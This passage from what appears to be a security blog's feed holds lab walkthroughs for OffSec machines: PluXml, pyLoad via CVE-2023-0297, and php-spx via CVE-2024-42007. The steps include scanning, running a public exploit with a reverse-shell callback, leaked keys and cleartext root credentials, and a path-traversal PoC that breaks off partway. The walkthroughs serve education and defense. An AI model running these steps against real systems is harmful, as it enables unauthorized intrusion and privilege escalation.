<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">cat /var/mail/www-data</span><br></div></code></pre></div></div>
<p>Message content includes root credentials in cleartext:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">root:6s8kaZZNaZZYBMfh2YEW</span><br></div></code></pre></div></div>
<p>Use those credentials directly:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">su root</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">id</span><br></div></code></pre></div></div>
<p>Result:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">uid=0(root) gid=0(root) groups=0(root)</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="root-outcome">Root outcome<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#root-outcome" class="hash-link" aria-label="Direct link to Root outcome" title="Direct link to Root outcome" translate="no">​</a></h2>
<p>Plum demonstrates a realistic compromise chain that does not require a kernel exploit or complex local privilege escalation:</p>
<ul>
<li class="">recon finds a narrow surface (<code>22</code>, <code>80</code>)</li>
<li class="">app fingerprinting identifies PluXml</li>
<li class="">default admin credentials provide authenticated control</li>
<li class="">template editing becomes RCE and yields <code>www-data</code></li>
<li class="">mailbox credential leakage provides <code>root</code></li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-machine-is-a-good-lesson">Why this machine is a good lesson<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#why-this-machine-is-a-good-lesson" class="hash-link" aria-label="Direct link to Why this machine is a good lesson" title="Direct link to Why this machine is a good lesson" translate="no">​</a></h2>
<p>The main lesson is operational hygiene, not exploit novelty.</p>
<p>Even when internet-facing services are minimal, weak application administration and poor secret handling can collapse host security quickly. Default CMS credentials and plaintext privileged secrets are both preventable controls that, if fixed, would break this chain.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="defensive-takeaways">Defensive takeaways<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#defensive-takeaways" class="hash-link" aria-label="Direct link to Defensive takeaways" title="Direct link to Defensive takeaways" translate="no">​</a></h2>
<ol>
<li class="">Enforce unique admin credentials during installation; block or rotate defaults.</li>
<li class="">Restrict admin panels by network and strong authentication controls.</li>
<li class="">Treat template/plugin editors as code-execution surfaces and harden accordingly.</li>
<li class="">Never transmit or store privileged credentials in plaintext email.</li>
<li class="">Monitor and alert on suspicious template file changes and outbound callbacks.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references">References<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://github.com/erlaplante/pluxml-rce/blob/main/pluxml.py" target="_blank" rel="noopener noreferrer" class="">PluXml RCE PoC (GitHub)</a></li>
<li class=""><a href="https://github.com/peass-ng/PEASS-ng" target="_blank" rel="noopener noreferrer" class="">PEASS-ng / linPEAS</a></li>
<li class=""><a href="https://github.com/brightio/penelope" target="_blank" rel="noopener noreferrer" class="">Penelope</a></li>
</ul>
<p>Unauthorized access is illegal. This write-up is for education and authorized lab work only.</p>]]></content:encoded>
            <category>Offsec</category>
            <category>PluXml</category>
            <category>Walkthrough</category>
            <category>Labs</category>
            <category>Privilege Escalation</category>
        </item>
        <item>
            <title><![CDATA[OffSec Proving Grounds PyLoader — pyLoad CVE-2023-0297]]></title>
            <link>https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297</link>
            <guid>https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297</guid>
            <pubDate>Thu, 03 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[OffSec Proving Grounds PyLoader walkthrough — exposed pyLoad UI on port 9666 and pre-auth remote code execution via CVE-2023-0297 to root.]]></description>
            <content:encoded><![CDATA[<p>In this Art of Vector walkthrough, we take OffSec Proving Grounds PyLoader from a blank terminal to root — starting with a quiet two-port scan, then chaining the exposed pyLoad web UI to <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-0297" target="_blank" rel="noopener noreferrer" class="">CVE-2023-0297</a> for pre-auth remote code execution.</p>
<!-- -->
<p><strong>Lab only.</strong> All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h2>
<p>PyLoader is a short, high-signal box. A full TCP scan shows only SSH and an HTTP service on <code>9666</code>. That service is not a generic web app — version and title fingerprints identify it as <strong>pyLoad</strong> behind CherryPy/Cheroot.</p>
<p>Once the product is named, public research lands immediately on Exploit-DB <code>51532</code>: a pre-auth RCE against pyLoad <code>0.5.0</code> (<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-0297" target="_blank" rel="noopener noreferrer" class="">CVE-2023-0297</a>). In the lab, a reverse shell callback returns as <code>root</code> with no privilege-escalation stage required.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="enumeration">Enumeration<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#enumeration" class="hash-link" aria-label="Direct link to Enumeration" title="Direct link to Enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="nmap">Nmap<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#nmap" class="hash-link" aria-label="Direct link to Nmap" title="Direct link to Nmap" translate="no">​</a></h3>
<p>Start with a full TCP scan plus version and default scripts:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap -sV -sC -p- 192.168.120.26 -v</span><br></div></code></pre></div></div>
<p>The host is quiet. Almost everything is closed. Only two ports matter:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">9666/tcp open  http    CherryPy wsgiserver</span><br></div></code></pre></div></div>
<p>The HTTP details are the real lead:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">http-server-header: Cheroot/8.6.0</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">http-title: Login - pyLoad</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">http-robots.txt: 1 disallowed entry: /</span><br></div></code></pre></div></div>
<p>That combination — non-standard port, CherryPy/Cheroot, and a pyLoad login page — is enough to stop broad web fuzzing and move straight into product-specific research.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="service-analysis">Service analysis<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#service-analysis" class="hash-link" aria-label="Direct link to Service analysis" title="Direct link to Service analysis" translate="no">​</a></h3>
<p>Port <code>22</code> is ordinary SSH. Without credentials, it is not the initial-access path.</p>
<p>Port <code>9666</code> is the attack surface. The title page redirects to <code>/login</code>, and the stack fingerprint points at pyLoad's web UI rather than a CMS or custom app. At this stage the question is simple: is there a public pre-auth issue for this product and version range?</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-pyload-became-the-path">Why pyLoad became the path<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#why-pyload-became-the-path" class="hash-link" aria-label="Direct link to Why pyLoad became the path" title="Direct link to Why pyLoad became the path" translate="no">​</a></h2>
<p>This machine rewards naming the service correctly.</p>
<p>If you treat <code>9666</code> as "just another HTTP port," you can burn time on generic content discovery. If you take the <code>Login - pyLoad</code> title seriously, the research path collapses to a single CVE chain:</p>
<ul>
<li class="">exposed pyLoad web UI</li>
<li class="">known pre-auth RCE in the vulnerable release window</li>
<li class="">attacker-controlled command execution without credentials</li>
</ul>
<p>That is the entire foothold model.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation-path">Exploitation path<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#exploitation-path" class="hash-link" aria-label="Direct link to Exploitation path" title="Direct link to Exploitation path" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="finding-the-public-poc">Finding the public PoC<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#finding-the-public-poc" class="hash-link" aria-label="Direct link to Finding the public PoC" title="Direct link to Finding the public PoC" translate="no">​</a></h3>
<p>Search Exploit-DB for pyLoad:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">searchsploit -m 51532</span><br></div></code></pre></div></div>
<p>That copies the public PoC locally:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Exploit: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Codes: CVE-2023-0297</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Path: /usr/share/exploitdb/exploits/python/webapps/51532.py</span><br></div></code></pre></div></div>
<p>The important part of the finding is not the script name. It is that the issue is <strong>pre-auth</strong>. No login, no password spray, and no secondary foothold are required before command execution.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="catching-the-shell">Catching the shell<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#catching-the-shell" class="hash-link" aria-label="Direct link to Catching the shell" title="Direct link to Catching the shell" translate="no">​</a></h3>
<p>Start a listener before firing the exploit. In this walkthrough we used <a href="https://github.com/brightio/penelope" target="_blank" rel="noopener noreferrer" class="">Penelope</a>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">penelope -p 5555</span><br></div></code></pre></div></div>
<p>Then run the PoC against the pyLoad UI and deliver a reverse shell callback to the attacker host.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python3 51532.py -u http://192.168.120.26:9666/ -c "&lt;reverse-shell-command&gt;"</span><br></div></code></pre></div></div>
<p>Expected operator feedback from the PoC:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[+] Check if target host is alive: http://192.168.120.26:9666/</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] Host up, let's exploit!</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] The exploit has be executeded in target machine.</span><br></div></code></pre></div></div>
<p>On the listener side, Penelope reports a new session from the target and drops into an interactive shell.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="confirming-impact">Confirming impact<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#confirming-impact" class="hash-link" aria-label="Direct link to Confirming impact" title="Direct link to Confirming impact" translate="no">​</a></h3>
<p>Once the callback lands, verify identity:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">id</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">uid=0(root) gid=0(root) groups=0(root)</span><br></div></code></pre></div></div>
<p>In this lab path, initial access and root are the same step. There is no separate privilege-escalation chain after the reverse shell.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="root-outcome">Root outcome<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#root-outcome" class="hash-link" aria-label="Direct link to Root outcome" title="Direct link to Root outcome" translate="no">​</a></h2>
<p>What matters at the end is the exposure model: a download-manager web UI on a non-standard port, reachable without authentication hardening, and sitting on a vulnerable pyLoad release.</p>
<p>That is why PyLoader works as a teaching machine. The chain is short and clean:</p>
<ul>
<li class="">recon finds only SSH and <code>9666</code></li>
<li class="">service analysis names the product as pyLoad</li>
<li class="">CVE research points to pre-auth RCE</li>
<li class="">exploitation returns <code>root</code> directly</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-machine-is-a-good-lesson">Why this machine is a good lesson<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#why-this-machine-is-a-good-lesson" class="hash-link" aria-label="Direct link to Why this machine is a good lesson" title="Direct link to Why this machine is a good lesson" translate="no">​</a></h2>
<p>PyLoader is memorable because it punishes shallow assumptions and rewards precise fingerprinting.</p>
<p>If you ignore the title and server header, you treat it like a generic web box. If you recognize pyLoad early, the path is almost immediate. It is also a useful reminder that "download manager" and "media helper" services are still remote code execution surfaces when they bind to the network and fall behind on patches.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="defensive-takeaways">Defensive takeaways<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#defensive-takeaways" class="hash-link" aria-label="Direct link to Defensive takeaways" title="Direct link to Defensive takeaways" translate="no">​</a></h2>
<p>If you run pyLoad anywhere in your environment, the lessons are straightforward:</p>
<ol>
<li class="">Patch past the vulnerable pyLoad releases tied to <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-0297" target="_blank" rel="noopener noreferrer" class="">CVE-2023-0297</a>.</li>
<li class="">Do not expose the web UI to untrusted networks without strong auth and network controls.</li>
<li class="">Treat non-standard management ports the same way you treat port <code>80</code> or <code>443</code> — still attack surface.</li>
<li class="">Assume pre-auth RCE in an admin-adjacent service is a full host compromise until proven otherwise.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references">References<a href="https://blog.artofvector.com/blog/pyloader-pyload-cve-2023-0297#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-0297" target="_blank" rel="noopener noreferrer" class="">CVE-2023-0297 (NVD)</a></li>
<li class=""><a href="https://www.exploit-db.com/exploits/51532" target="_blank" rel="noopener noreferrer" class="">Exploit-DB 51532</a></li>
<li class=""><a href="https://github.com/brightio/penelope" target="_blank" rel="noopener noreferrer" class="">Penelope</a></li>
</ul>
<p>Unauthorized access is illegal. This write-up is for education and authorized lab work only.</p>]]></content:encoded>
            <category>Offsec</category>
            <category>pyLoad</category>
            <category>CVE</category>
            <category>Walkthrough</category>
            <category>Labs</category>
        </item>
        <item>
            <title><![CDATA[OffSec Proving Grounds SPX — php-spx CVE-2024-42007]]></title>
            <link>https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007</link>
            <guid>https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007</guid>
            <pubDate>Thu, 03 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[OffSec Proving Grounds SPX walkthrough — phpinfo leak, php-spx CVE-2024-42007 file read, Tiny File Manager crack, web shell, and sudo make install to root.]]></description>
            <content:encoded><![CDATA[<p>In this Art of Vector walkthrough, we take OffSec Proving Grounds SPX from a quiet two-port scan to full root by chaining an exposed <code>phpinfo</code> leak, <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-42007" target="_blank" rel="noopener noreferrer" class="">CVE-2024-42007</a> in php-spx, Tiny File Manager credential recovery, a PHP web shell, password reuse into <code>profiler</code>, and finally a sudo-allowed <code>make install</code> that evaluates attacker-controlled Makefile shell expansion as root.</p>
<!-- -->
<p><strong>Lab only.</strong> All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h2>
<p>SPX looks simple at first. A full TCP scan shows only SSH and Apache. The web title names <strong>Tiny File Manager</strong>, which suggests an authenticated file-management path. That is correct — but it is not the first winning move.</p>
<p>The real opener is <code>phpinfo.php</code>. That page exposes the php-spx HTTP key (<code>spx.http_key</code>). With that key in hand, <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-42007" target="_blank" rel="noopener noreferrer" class="">CVE-2024-42007</a> becomes a remote arbitrary-file read against the SPX UI. Reading <code>/var/www/html/index.php</code> recovers Tiny File Manager bcrypt hashes. John cracks them. Admin login unlocks file upload. A reverse shell lands as <code>www-data</code>, password reuse pivots to <code>profiler</code>, and a writable Makefile under a sudo-allowed <code>make install</code> finishes the job as root.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="enumeration">Enumeration<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#enumeration" class="hash-link" aria-label="Direct link to Enumeration" title="Direct link to Enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="nmap">Nmap<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#nmap" class="hash-link" aria-label="Direct link to Nmap" title="Direct link to Nmap" translate="no">​</a></h3>
<p>Start with a full TCP scan plus version detection and default scripts:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap -sV -sC -p- 192.168.120.108 -v</span><br></div></code></pre></div></div>
<p>The host is intentionally narrow:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">80/tcp open  http  Apache httpd 2.4.52 (Ubuntu)</span><br></div></code></pre></div></div>
<p>The HTTP title is the first product signal:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">http-title: Tiny File Manager</span><br></div></code></pre></div></div>
<p>At this stage, the temptation is to treat Tiny File Manager as the only interesting surface. That is incomplete. Product fingerprinting matters, but so does finding the supporting PHP debugging and profiling artifacts that often sit next to it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="directory-enumeration">Directory enumeration<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#directory-enumeration" class="hash-link" aria-label="Direct link to Directory enumeration" title="Direct link to Directory enumeration" translate="no">​</a></h3>
<p>Content discovery confirms both the application and a high-value information leak:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">gobuster dir -u http://192.168.120.108/ \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -x php</span><br></div></code></pre></div></div>
<p>Key results:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">index.php      (Status: 200)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">phpinfo.php    (Status: 200)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">server-status  (Status: 403)</span><br></div></code></pre></div></div>
<p><code>index.php</code> is Tiny File Manager. <code>phpinfo.php</code> is the pivot that unlocks the rest of the chain.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-phpinfo-mattered">Why phpinfo mattered<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#why-phpinfo-mattered" class="hash-link" aria-label="Direct link to Why phpinfo mattered" title="Direct link to Why phpinfo mattered" translate="no">​</a></h3>
<p>Browsing <code>http://192.168.120.108/phpinfo.php</code> reveals the php-spx configuration value:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">spx.http_key = a2a90ca2f9f0ea04d267b16fb8e63800</span><br></div></code></pre></div></div>
<p>That single line changes the assessment model. The box is no longer just "Tiny File Manager with unknown credentials." It is now "Tiny File Manager sitting on a PHP host with SPX profiling enabled and a leaked HTTP key."</p>
<p>In practice, that is enough to search for public SPX issues and land on CVE-2024-42007.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-php-spx-became-the-path">Why php-spx became the path<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#why-php-spx-became-the-path" class="hash-link" aria-label="Direct link to Why php-spx became the path" title="Direct link to Why php-spx became the path" translate="no">​</a></h2>
<p>php-spx is a profiling extension. Its HTTP UI is meant to help developers inspect performance data. On SPX, that UI is reachable through the same web stack as Tiny File Manager, and the key required to interact with it is sitting in <code>phpinfo</code>.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-42007" target="_blank" rel="noopener noreferrer" class="">CVE-2024-42007</a> affects php-spx through <code>0.4.15</code>. The issue is a directory traversal in <code>SPX_UI_URI</code>: with a valid <code>SPX_KEY</code>, an attacker can escape the intended UI path and read arbitrary files as the web server user.</p>
<p>The important idea is the chain, not just the CVE name:</p>
<ul>
<li class=""><code>phpinfo</code> leaks <code>spx.http_key</code></li>
<li class="">php-spx UI becomes reachable with that key</li>
<li class="">path traversal turns the profiler UI into a file-read primitive</li>
<li class="">Tiny File Manager source contains bcrypt password hashes</li>
<li class="">authenticated upload becomes remote code execution</li>
</ul>
<p>That is a classic "supporting service beats primary application" pattern.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation-path">Exploitation path<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#exploitation-path" class="hash-link" aria-label="Direct link to Exploitation path" title="Direct link to Exploitation path" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="arbitrary-file-read-via-cve-2024-42007">Arbitrary file read via CVE-2024-42007<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#arbitrary-file-read-via-cve-2024-42007" class="hash-link" aria-label="Direct link to Arbitrary file read via CVE-2024-42007" title="Direct link to Arbitrary file read via CVE-2024-42007" translate="no">​</a></h3>
<p>With the leaked key, a public PoC for php-spx path traversal can read arbitrary files by abusing <code>SPX_KEY</code> and <code>SPX_UI_URI</code>:</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> argparse</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> requests</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> urllib</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">parse</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> sys</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">def</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">validate_url</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">target_url</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    parsed_url </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> urllib</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">parse</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">urlparse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">target_url</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> parsed_url</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">scheme </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">'http'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'https'</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">def</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">exploit</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">target_url</span><span class="token punctuation" 